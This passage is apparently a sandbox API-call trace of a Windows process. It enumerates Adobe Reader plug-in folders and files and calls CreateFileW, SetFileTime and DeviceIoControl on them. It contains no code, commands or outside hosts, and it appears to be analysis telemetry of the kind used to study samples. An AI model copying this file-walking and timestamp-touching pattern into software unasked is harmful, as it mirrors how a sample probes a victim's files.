ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.TUR", cAlternateFileName="")) returned 1 [0083.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216b80 [0083.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1bc8 [0083.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.TUR", cAlternateFileName="")) returned 0 [0083.663] GetLastError () returned 0x12 [0083.663] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.663] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.TUR", cAlternateFileName="")) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.TUR", cAlternateFileName="")) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.TUR", cAlternateFileName="")) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.TUR", cAlternateFileName="")) returned 0 [0083.664] GetLastError () returned 0x12 [0083.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.664] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.664] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0083.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0083.665] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.666] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.666] NtClose (Handle=0x168) returned 0x0 [0083.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.667] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.668] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.668] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0083.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ba0 [0083.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1cd0 [0083.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.670] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.UKR", cAlternateFileName="")) returned 1 [0083.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216bc0 [0083.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1dd8 [0083.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7700) returned 0x12bb0b0 [0083.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c9d80) returned 1 [0083.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.671] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.UKR", cAlternateFileName="")) returned 1 [0083.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216be0 [0083.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b1ee0 [0083.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.673] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.UKR", cAlternateFileName="")) returned 1 [0083.673] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.UKR", cAlternateFileName="")) returned 0 [0083.673] GetLastError () returned 0x12 [0083.673] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.674] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.UKR", cAlternateFileName="")) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.UKR", cAlternateFileName="")) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.UKR", cAlternateFileName="")) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.UKR", cAlternateFileName="")) returned 0 [0083.674] GetLastError () returned 0x12 [0083.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.674] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0083.675] GetLastError () returned 0x12 [0083.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2a78) returned 1 [0083.675] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2b80) returned 1 [0083.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2970) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="")) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73f263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="")) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x54e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63263, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="")) returned 1 [0083.675] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1 [0083.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0083.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0083.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0083.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, 